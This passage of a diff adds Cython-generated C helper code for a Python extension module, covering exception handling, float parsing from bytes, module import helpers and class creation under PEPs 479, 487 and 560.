= NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* ReturnWithStopIteration */ + static void __Pyx__ReturnWithStopIteration(PyObject* value) { + PyObject *exc, *args; +#if CYTHON_COMPILING_IN_CPYTHON + __Pyx_PyThreadState_declare + if (PY_VERSION_HEX >= 0x030C00A6 + || unlikely(PyTuple_Check(value) || PyExceptionInstance_Check(value))) { + args = PyTuple_New(1); + if (unlikely(!args)) return; + Py_INCREF(value); + PyTuple_SET_ITEM(args, 0, value); + exc = PyType_Type.tp_call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (!exc) return; + } else { + Py_INCREF(value); + exc = value; + } + #if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + #if CYTHON_USE_EXC_INFO_STACK + if (!__pyx_tstate->exc_info->exc_value) + #else + if (!__pyx_tstate->exc_type) + #endif + { + Py_INCREF(PyExc_StopIteration); + __Pyx_ErrRestore(PyExc_StopIteration, exc, NULL); + return; + } + #endif +#else + args = PyTuple_Pack(1, value); + if (unlikely(!args)) return; + exc = PyObject_Call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (unlikely(!exc)) return; +#endif + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); +} + +/* pybytes_as_double */ + static double __Pyx_SlowPyString_AsDouble(PyObject *obj) { + PyObject *float_value; +#if PY_MAJOR_VERSION >= 3 + float_value = PyFloat_FromString(obj); +#else + float_value = PyFloat_FromString(obj, 0); +#endif + if (likely(float_value)) { +#if CYTHON_ASSUME_SAFE_MACROS + double value = PyFloat_AS_DOUBLE(float_value); +#else + double value = PyFloat_AsDouble(float_value); +#endif + Py_DECREF(float_value); + return value; + } + return (double)-1; +} +static const char* __Pyx__PyBytes_AsDouble_Copy(const char* start, char* buffer, Py_ssize_t length) { + int last_was_punctuation = 1; + Py_ssize_t i; + for (i=0; i < length; i++) { + char chr = start[i]; + int is_punctuation = (chr == '_') | (chr == '.') | (chr == 'e') | (chr == 'E'); + *buffer = chr; + buffer += (chr != '_'); + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyBytes_AsDouble_inf_nan(const char* start, Py_ssize_t length) { + int matches = 1; + char sign = start[0]; + int is_signed = (sign == '+') | (sign == '-'); + start += is_signed; + length -= is_signed; + switch (start[0]) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + matches &= (start[1] == 'a' || start[1] == 'A'); + matches &= (start[2] == 'n' || start[2] == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + matches &= (start[1] == 'n' || start[1] == 'N'); + matches &= (start[2] == 'f' || start[2] == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + matches &= (start[3] == 'i' || start[3] == 'I'); + matches &= (start[4] == 'n' || start[4] == 'N'); + matches &= (start[5] == 'i' || start[5] == 'I'); + matches &= (start[6] == 't' || start[6] == 'T'); + matches &= (start[7] == 'y' || start[7] == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static CYTHON_INLINE int __Pyx__PyBytes_AsDouble_IsSpace(char ch) { + return (ch == 0x20) | !((ch < 0x9) | (ch > 0xd)); +} +CYTHON_UNUSED static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length) { + double value; + Py_ssize_t i, digits; + const char *last = start + length; + char *end; + while (__Pyx__PyBytes_AsDouble_IsSpace(*start)) + start++; + while (start < last - 1 && __Pyx__PyBytes_AsDouble_IsSpace(last[-1])) + last--; + length = last - start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyBytes_AsDouble_inf_nan(start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + digits = 0; + for (i=0; i < length; digits += start[i++] != '_'); + if (likely(digits == length)) { + value = PyOS_string_to_double(start, &end, NULL); + } else if (digits < 40) { + char number[40]; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((digits + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} + +/* pynumber_float */ + static CYTHON_INLINE PyObject* __Pyx__PyNumber_Float(PyObject* obj) { + double val; + if (PyLong_CheckExact(obj)) { +#if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(obj))) { + val = (double) __Pyx_PyLong_CompactValue(obj); + goto no_error; + } +#endif + val = PyLong_AsDouble(obj); + } else if (PyUnicode_CheckExact(obj)) { + val = __Pyx_PyUnicode_AsDouble(obj); + } else if (PyBytes_CheckExact(obj)) { + val = __Pyx_PyBytes_AsDouble(obj); + } else if (PyByteArray_CheckExact(obj)) { + val = __Pyx_PyByteArray_AsDouble(obj); + } else { + return PyNumber_Float(obj); + } + if (unlikely(val == -1 && PyErr_Occurred())) { + return NULL; + } +#if CYTHON_USE_PYLONG_INTERNALS +no_error: +#endif + return PyFloat_FromDouble(val); +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportDottedModule */ + #if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Error(PyObject *name, PyObject *parts_tuple, Py_ssize_t count) { + PyObject *partial_name = NULL, *slice = NULL, *sep = NULL; + if (unlikely(PyErr_Occurred())) { + PyErr_Clear(); + } + if (likely(PyTuple_GET_SIZE(parts_tuple) == count)) { + partial_name = name; + } else { + slice = PySequence_GetSlice(parts_tuple, 0, count); + if (unlikely(!slice)) + goto bad; + sep = PyUnicode_FromStringAndSize(".", 1); + if (unlikely(!sep)) + goto bad; + partial_name = PyUnicode_Join(sep, slice); + } + PyErr_Format( +#if PY_MAJOR_VERSION < 3 + PyExc_ImportError, + "No module named '%s'", PyString_AS_STRING(partial_name)); +#else +#if PY_VERSION_HEX >= 0x030600B1 + PyExc_ModuleNotFoundError, +#else + PyExc_ImportError, +#endif + "No module named '%U'", partial_name); +#endif +bad: + Py_XDECREF(sep); + Py_XDECREF(slice); + Py_XDECREF(partial_name); + return NULL; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Lookup(PyObject *name) { + PyObject *imported_module; +#if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + return NULL; + imported_module = __Pyx_PyDict_GetItemStr(modules, name); + Py_XINCREF(imported_module); +#else + imported_module = PyImport_GetModule(name); +#endif + return imported_module; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple) { + Py_ssize_t i, nparts; + nparts = PyTuple_GET_SIZE(parts_tuple); + for (i=1; i < nparts && module; i++) { + PyObject *part, *submodule; +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + part = PyTuple_GET_ITEM(parts_tuple, i); +#else + part = PySequence_ITEM(parts_tuple, i); +#endif + submodule = __Pyx_PyObject_GetAttrStrNoError(module, part); +#if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(part); +#endif + Py_DECREF(module); + module = submodule; + } + if (unlikely(!module)) { + return __Pyx__ImportDottedModule_Error(name, parts_tuple, i); + } + return module; +} +#endif +static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if PY_MAJOR_VERSION < 3 + PyObject *module, *from_list, *star = __pyx_n_s__31; + CYTHON_UNUSED_VAR(parts_tuple); + from_list = PyList_New(1); + if (unlikely(!from_list)) + return NULL; + Py_INCREF(star); + PyList_SET_ITEM(from_list, 0, star); + module = __Pyx_Import(name, from_list, 0); + Py_DECREF(from_list); + return module; +#else + PyObject *imported_module; + PyObject *module = __Pyx_Import(name, NULL, 0); + if (!parts_tuple || unlikely(!module)) + return module; + imported_module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(imported_module)) { + Py_DECREF(module); + return imported_module; + } + PyErr_Clear(); + return __Pyx_ImportDottedModule_WalkParts(module, name, parts_tuple); +#endif +} +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030400B1 + PyObject *module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(module)) { + PyObject *spec = __Pyx_PyObject_GetAttrStrNoError(module, __pyx_n_s_spec); + if (likely(spec)) { + PyObject *unsafe = __Pyx_PyObject_GetAttrStrNoError(spec, __pyx_n_s_initializing); + if (likely(!unsafe || !__Pyx_PyObject_IsTrue(unsafe))) { + Py_DECREF(spec); + spec = NULL; + } + Py_XDECREF(unsafe); + } + if (likely(!spec)) { + PyErr_Clear(); + return module; + } + Py_DECREF(spec); + Py_DECREF(module); + } else if (PyErr_Occurred()) { + PyErr_Clear(); + } +#endif + return __Pyx__ImportDottedModule(name, parts_tuple); +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__6); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* Py3UpdateBases */ + static PyObject* +__Pyx_PEP560_update_bases(PyObject *bases) +{ + Py_ssize_t i, j, size_bases; + PyObject *base, *meth, *new_base, *result, *new_bases = NULL; + size_bases = PyTuple_GET_SIZE(bases); + for (i = 0; i < size_bases; i++) { + base = PyTuple_GET_ITEM(bases, i); + if (PyType_Check(base)) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + meth = __Pyx_PyObject_GetAttrStrNoError(base, __pyx_n_s_mro_entries); + if (!meth && PyErr_Occurred()) { + goto error; + } + if (!meth) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + new_base = __Pyx_PyObject_CallOneArg(meth, bases); + Py_DECREF(meth); + if (!new_base) { + goto error; + } + if (!PyTuple_Check(new_base)) { + PyErr_SetString(PyExc_TypeError, + "__mro_entries__ must return a tuple"); + Py_DECREF(new_base); + goto error; + } + if (!new_bases) { + if (!(new_bases = PyList_New(i))) { + goto error; + } + for (j = 0; j < i; j++) { + base = PyTuple_GET_ITEM(bases, j); + PyList_SET_ITEM(new_bases, j, base); + Py_INCREF(base); + } + } + j = PyList_GET_SIZE(new_bases); + if (PyList_SetSlice(new_bases, j, j, new_base) < 0) { + goto error; + } + Py_DECREF(new_base); + } + if (!new_bases) { + Py_INCREF(bases); + return bases; + } + result = PyList_AsTuple(new_bases); + Py_DECREF(new_bases); + return result; +error: + Py_XDECREF(new_bases); + return NULL; +} + +/* CalculateMetaclass */ + static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { + Py_ssize_t i, nbases; +#if CYTHON_ASSUME_SAFE_MACROS + nbases = PyTuple_GET_SIZE(bases); +#else + nbases = PyTuple_Size(bases); + if (nbases < 0) return NULL; +#endif + for (i=0; i < nbases; i++) { + PyTypeObject *tmptype; +#if CYTHON_ASSUME_SAFE_MACROS + PyObject *tmp = PyTuple_GET_ITEM(bases, i); +#else + PyObject *tmp = PyTuple_GetItem(bases, i); + if (!tmp) return NULL; +#endif + tmptype = Py_TYPE(tmp); +#if PY_MAJOR_VERSION < 3 + if (tmptype == &PyClass_Type) + continue; +#endif + if (!metaclass) { + metaclass = tmptype; + continue; + } + if (PyType_IsSubtype(metaclass, tmptype)) + continue; + if (PyType_IsSubtype(tmptype, metaclass)) { + metaclass = tmptype; + continue; + } + PyErr_SetString(PyExc_TypeError, + "metaclass conflict: " + "the metaclass of a derived class " + "must be a (non-strict) subclass " + "of the metaclasses of all its bases"); + return NULL; + } + if (!metaclass) { +#if PY_MAJOR_VERSION < 3 + metaclass = &PyClass_Type; +#else + metaclass = &PyType_Type; +#endif + } + Py_INCREF((PyObject*) metaclass); + return (PyObject*) metaclass; +} + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* Py3ClassCreate */ + static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, + PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { + PyObject *ns; + if (metaclass) { + PyObject *prep = __Pyx_PyObject_GetAttrStrNoError(metaclass, __pyx_n_s_prepare); + if (prep) { + PyObject *pargs[3] = {NULL, name, bases}; + ns = __Pyx_PyObject_FastCallDict(prep, pargs+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, mkw); + Py_DECREF(prep); + } else { + if (unlikely(PyErr_Occurred())) + return NULL; + ns = PyDict_New(); + } + } else { + ns = PyDict_New(); + } + if (unlikely(!ns)) + return NULL; + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; +#if PY_VERSION_HEX >= 0x03030000 + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; +#else + CYTHON_MAYBE_UNUSED_VAR(qualname); +#endif + if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; + return ns; +bad: + Py_DECREF(ns); + return NULL; +} +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS +static int __Pyx_SetNamesPEP487(PyObject *type_obj) { + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *names_to_set, *key, *value, *set_name, *tmp; + Py_ssize_t i = 0; +#if CYTHON_USE_TYPE_SLOTS + names_to_set = PyDict_Copy(type->tp_dict); +#else + { + PyObject *d = PyObject_GetAttr(type_obj, __pyx_n_s_dict); + names_to_set = NULL; + if (likely(d)) { + PyObject *names_to_set = PyDict_New(); + int ret = likely(names_to_set) ? PyDict_Update(names_to_set, d) : -1; + Py_DECREF(d); + if (unlikely(ret < 0)) + Py_CLEAR(names_to_set); + } + } +#endif + if (unlikely(names_to_set == NULL)) + goto bad; + while (PyDict_Next(names_to_set, &i, &key, &value)) { + set_name = __Pyx_PyObject_LookupSpecialNoError(value, __pyx_n_s_set_name); + if (unlikely(set_name != NULL)) { + tmp = __Pyx_PyObject_Call2Args(set_name, type_obj, key); + Py_DECREF(set_name); + if (unlikely(tmp == NULL)) { + __Pyx_TypeName value_type_name = + __Pyx_PyType_GetName(Py_TYPE(value)); + __Pyx_TypeName type_name = __Pyx_PyType_GetName(type); + PyErr_Format(PyExc_RuntimeError, +#if PY_MAJOR_VERSION >= 3 + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %R " "in '" __Pyx_FMT_TYPENAME "'", + value_type_name, key, type_name); +#else + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %.100s in '" __Pyx_FMT_TYPENAME "'", + value_type_name, + PyString_Check(key) ? PyString_AS_STRING(key) : "?", + type_name); +#endif + goto bad; + } else { + Py_DECREF(tmp); + } + } + else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } + Py_DECREF(names_to_set); + return 0; +bad: + Py_XDECREF(names_to_set); + return -1; +} +static PyObject *__Pyx_InitSubclassPEP487(PyObject *type_obj, PyObject *mkw) { +#if CYTHON_USE_TYPE_SLOTS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *mro = type->tp_mro; + Py_ssize_t i, nbases; + if (unlikely(!mro)) goto done; + (void) &__Pyx_GetBuiltinName; + Py_INCREF(mro); + nbases = PyTuple_GET_SIZE(mro); + assert(PyTuple_GET_ITEM(mro, 0) == type_obj); + for (i = 1; i < nbases-1; i++) { + PyObject *base, *dict, *meth; + base = PyTuple_GET_ITEM(mro, i); + dict = ((PyTypeObject *)base)->tp_dict; + meth = __Pyx_PyDict_GetItemStrWithError(dict, __pyx_n_s_init_subclass); + if (unlikely(meth)) { + descrgetfunc f = Py_TYPE(meth)->tp_descr_get; + PyObject *res; + Py_INCREF(meth); + if (likely(f)) { + res = f(meth, NULL, type_obj); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + meth = res; + } + res = __Pyx_PyObject_FastCallDict(meth, NULL, 0, mkw); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + 